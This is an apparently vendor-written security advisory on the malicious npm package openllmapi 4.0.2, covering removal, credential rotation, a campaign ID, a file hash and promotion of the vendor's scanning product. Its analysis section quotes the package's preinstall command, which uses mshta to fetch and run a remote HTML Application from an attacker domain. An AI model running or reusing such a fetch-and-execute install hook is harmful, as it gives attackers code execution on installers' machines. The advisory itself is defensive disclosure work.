Which versions of openllmapi are malicious?

The following npm versions of openllmapi are flagged malicious: 4.0.2. Treat any of these as compromised.

How do I remediate openllmapi if I installed it?

Remove openllmapi from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed openllmapi — how do I know if it already compromised me?

If openllmapi was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is openllmapi part of a known attack campaign?

Yes — openllmapi is associated with the IN-MAL-2026-007408 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find openllmapi across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for openllmapi (version 4.0.2). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging openllmapi across your stack and pipelines.

Malicious package

openllmapinpm

Malicious code in openllmapi (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-6364

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall openllmapi

What this malware does

The package's preinstall lifecycle script (preinstall.js line 3) runs cmd /c "mshta http://fixars.top", which causes Windows mshta.exe to download and execute an HTML Application from the attacker-controlled domain fixars.top over plain HTTP. This fires automatically on npm install and yields arbitrary code execution on the installer's machine with the user's privileges. The package metadata is consistent with a throwaway malicious publish: empty author, no repository or homepage, and a generic description ('Node.js wrapper for OpenLLM API service.') that does not match the install-time behavior.

Malicious versions

1 flagged

4.0.2

Indicators of compromise (SHA-256)

9df5662b44b20595801c25919ac14689b71e89b8c1bdacceedc7ba1e9cf75c41

Detection & response playbook

Malicious package

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for openllmapi (version 4.0.2). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging openllmapi across your stack and pipelines.
If you installed it — respond
Remove openllmapi from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If openllmapi was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks openllmapi before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. openllmapi on npm has been identified as a malicious package (version 4.0.2 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007408

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks openllmapi-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring